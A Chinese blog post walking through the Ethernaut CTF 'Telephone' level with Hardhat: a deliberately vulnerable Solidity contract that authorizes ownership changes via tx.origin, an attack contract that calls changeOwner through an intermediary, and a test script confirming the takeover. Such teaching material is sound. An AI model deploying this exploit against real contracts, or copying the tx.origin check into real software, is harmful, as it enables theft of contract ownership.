用Hardhat闯关Ethernaut题4 -telephone

  • Verin
  • 更新于 2022-09-08 17:56
  • 阅读 1565

开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。

Telephone合约

任务:获取合约的所有权,也就是改变owner

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {
    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

这道题就是理解tx.originmsg.sender的区别:https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin 也就是说msg.sender不一定是个人地址,有可能是合约地址,tx.origin一定是个人地址,一般在写合约尽量不要使用tx.origin,会判断失误出现bug。

解题思路:1.创建攻击合约;2.用攻击合约去调用changeOwner,满足tx.origin != msg.sender

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Telephoneinterface {
    function changeOwner(address _owner) external;
}

contract AttackTelephone {
    Telephoneinterface telephone;
    address public owner;

    constructor(address _telephone) public {
        telephone = Telephoneinterface(_telephone);
        owner = msg.sender;
    }

    function attack() public {
        telephone.changeOwner(owner);
    }
}

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");

describe("test", function () {
    var Telephone;
    var AttackTelephone;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const TelephoneInstance = await ethers.getContractFactory("Telephone");
        Telephone = await TelephoneInstance.deploy();
        const AttackTelephoneInstance = await ethers.getContractFactory("AttackTelephone");
        AttackTelephone = await AttackTelephoneInstance.connect(users[0]).deploy(Telephone.address);
    });
    it("hack test", async function () {
        expect(await Telephone.owner()).to.equal(deployer.address);
        await AttackTelephone.attack();
        expect(await Telephone.owner()).to.equal(users[0].address);
    });
});

运行结果:

image.png

Github:hardhat测试仓库

点赞 0
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Verin
Verin
discord:Verin#2256 v: daqingchong-pro 备注来意